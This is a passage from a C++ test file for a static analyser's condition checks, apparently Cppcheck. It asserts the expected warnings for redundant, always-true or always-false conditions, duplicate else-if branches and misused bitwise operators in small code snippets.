a) {\\n assert( (a & 0x07) < 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) < 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) < 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) < 3U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n\n check(\"void f(int i) {\\n\" // #11998\n \" if ((i & 0x100) == 0x200) {}\\n\"\n \" if (0x200 == (i & 0x100)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\"\n \"[test.cpp:2:12]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\"\n \"[test.cpp:3:21]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\",\n errout_str());\n\n checkP(\"#define MACRO1 (0x0010)\\n\" // #13222\n \"#define MACRO2 (0x0020)\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f(int i, int j) {\\n\" // #13360\n \" int X = 0x10;\\n\"\n \" if ((i & 0xff00) == X) {}\\n\"\n \" if (X == (j & 0xff00)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\"\n \"[test.cpp:4:17]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\",\n errout_str());\n }\n\n#define checkPureFunction(code) checkPureFunction_(code, __FILE__, __LINE__)\n void multicompare() {\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x == 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x & 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"extern int bar() __attribute__((pure));\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n checkPureFunction(\"extern int bar();\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n // 7284\n check(\"void foo() {\\n\"\n \" if (a) {}\\n\"\n \" else if (!!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n // #11059\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i == 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i != 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n template\n void checkPureFunction_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void overlappingElseIfCondition() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 1) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 2) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a++) { b = 1; }\\n\"\n \" else { if (a++) { b = 2; }\\n\"\n \" else { if (a++) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (!strtok(NULL, \\\" \\\")) { b = 1; }\\n\"\n \" else { if (!strtok(NULL, \\\" \\\")) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n }\n\n check(\"void f(int a, int &b) {\\n\"\n \" x = x / 2;\\n\"\n \" if (x < 100) { b = 1; }\\n\"\n \" else { x = x / 2; if (x < 100) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int64_t i) {\\n\"\n \" if(i == 0x02e2000000 || i == 0xa0c6000000)\\n\"\n \" foo(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 3689 ( avoid false positive )\n check(\"int fitInt(long long int nValue){\\n\"\n \" if( nValue < 0x7fffffffLL )\\n\"\n \" {\\n\"\n \" return 32;\\n\"\n \" }\\n\"\n \" if( nValue < 0x7fffffffffffLL )\\n\"\n \" {\\n\"\n \" return 48;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" if( nValue < 0x7fffffffffffffffLL )\\n\"\n \" {\\n\"\n \" return 64;\\n\"\n \" } else\\n\"\n \" {\\n\"\n \" return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(WIDGET *widget) {\\n\"\n \" if (dynamic_cast(widget)){}\\n\"\n \" else if (dynamic_cast(widget)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B { virtual void v() {} };\\n\" // #11037\n \"class D1 : public B {};\\n\"\n \"class D2 : public B {};\\n\"\n \"void f(const std::shared_ptr&p) {\\n\"\n \" const auto d1 = dynamic_cast(p.get());\\n\"\n \" const auto d2 = dynamic_cast(p.get());\\n\"\n \" if (d1) {}\\n\"\n \" else if (d2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // #6482\n \" if (x & 1) {}\\n\"\n \" else if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 15) {}\\n\"\n \" else if (x == 40) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == sizeof(double)) {}\\n\"\n \" else { if (x == sizeof(long double)) {} }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0x08) {}\\n\"\n \" else if (x & 0xF8) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0xF8) {}\\n\"\n \" else if (x & 0x08) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!(b) && !!(a+b)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8168\n check(\"enum MaskValues\\n\"\n \"{\\n\"\n \" Value1 = 0x00000001,\\n\"\n \" Value2 = 0x00000002\\n\"\n \"};\\n\"\n \"void TestFunction(int value) {\\n\"\n \" if ( value & (int)Value1 ) {}\\n\"\n \" else if ( value & (int)Value2 ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(int)) {}\\n\"\n \" else { if (x == sizeof(long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(long)) {}\\n\"\n \" else { if (x == sizeof(long long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeElseIfCondition() {\n setMultiline();\n\n check(\"void f(int x) {\\n\"\n \" if (x) {}\\n\"\n \" else if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 2. [multiCondition]\\n\"\n \"[test.cpp:2:9]: note: first condition\\n\"\n \"[test.cpp:3:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x;\\n\"\n \" if (x) {}\\n\"\n \" else if (!y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 3. [multiCondition]\\n\"\n \"[test.cpp:2:13]: note: 'y' is assigned value 'x' here.\\n\"\n \"[test.cpp:3:9]: note: first condition\\n\"\n \"[test.cpp:4:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n }\n\n void checkBadBitmaskCheck() {\n check(\"bool f(int x) {\\n\"\n \" bool b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = 0x02 | x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" int b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = x & 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if(x | 0x02)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" int y = 0x1;\\n\"\n \" if(b) y = 0;\\n\"\n \" if(x | y)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" foo(a && (x | 0x02));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return (x | 0x02) ? 0 : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x ? (x | 0x02) : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" static const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" typedef bool b_t;\\n\"\n \"};\\n\"\n \"F::b_t f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void create_rop_masks_4( rop_mask_bits *bits) {\\n\"\n \"DWORD mask_offset;\\n\"\n \"BYTE *and_bits = bits->and;\\n\"\n \"rop_mask *rop_mask;\\n\"\n \"and_bits[mask_offset] |= (rop_mask->and & 0x0f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned a, unsigned b) {\\n\"\n \" unsigned cmd1 = b & 0x0F;\\n\"\n \" if (cmd1 | a) {\\n\"\n \" if (b == 0x0C) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #11082\n \" int j = 0;\\n\"\n \" if (i | j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Operator '|' with one operand equal to zero is redundant. [badBitmaskCheck]\\n\", errout_str());\n\n check(\"#define EIGHTTOIS(x) (((x) << 8) | (x))\\n\"\n \"int f() {\\n\"\n \" return EIGHTTOIS(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define O_RDONLY 0\\n\"\n \"void f(const char* s, int* pFd) {\\n\"\n \" *pFd = open(s, O_RDONLY | O_BINARY, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int FEATURE_BITS = x |\\n\"\n \"#if FOO_ENABLED\\n\"\n \" FEATURE_FOO |\\n\"\n \"#endif\\n\"\n \"#if BAR_ENABLED\\n\"\n \" FEATURE_BAR |\\n\"\n \"#endif\\n\"\n \" 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum precedence { PC0, UNARY };\\n\"\n \"int x = PC0 | UNARY;\\n\"\n \"int y = UNARY | PC0;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define MASK 0\\n\"\n \"#define SHIFT 1\\n\"\n \"int x = 1 | (MASK << SHIFT);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void incorrectLogicOperator1() {\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 != x || 3 != x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x<0 && !x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical conjunction always evaluates to false: x < 0 && !x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x==0 && x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Logical conjunction always evaluates to false: x == 0 && x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // ast..\n \" if (y == 1 && x == 1 && x == 7) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 7. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x != 1 || y != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((y == 1) && (x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (x != 3) && (y == 1))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x!=3' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) && (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) || (x == 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (y != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != hotdog) || (y != hotdog))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 5) || (y != 5))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 5) || (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 5 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(unsigned int a, unsigned int b, unsigned int c) {\\n\"\n \" if((a != b) || (c != b) || (c != a))\\n\"\n \" {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:35]: (style) Condition 'c!=a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator2() {\n check(\"void f(float x) {\\n\"\n \" if ((x == 1) && (x == 1.0))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x==0x00000001' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 && x == 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1.0 && x == 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // float comparisons with == and != are not checked right now - such comparison is a bad idea\n\n check(\"void f(float x) {\\n\"\n \" if (x == 1 && x == 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar(float f) {\\n\" // #5246\n \" if ((f > 0) && (f < 1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1.0 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 1.0 && x <= 1.001)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(float x) {\\n\"\n \" if (x < 1.0 && x > 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 3.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if((x==3) && (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\" // #8860\n \" const std::size_t p = s.find(\\\"42\\\");\\n\"\n \" const std::size_t * const ptr = &p;\\n\"\n \" if(p != std::string::npos && p == 0 && *ptr != 1){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36] -> [test.cpp:4:49]: (style) Condition '*ptr!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) && (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) || (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) || (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) && (x!=3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 3 && x != 3. [incorrectLogicOperator]\\n\", 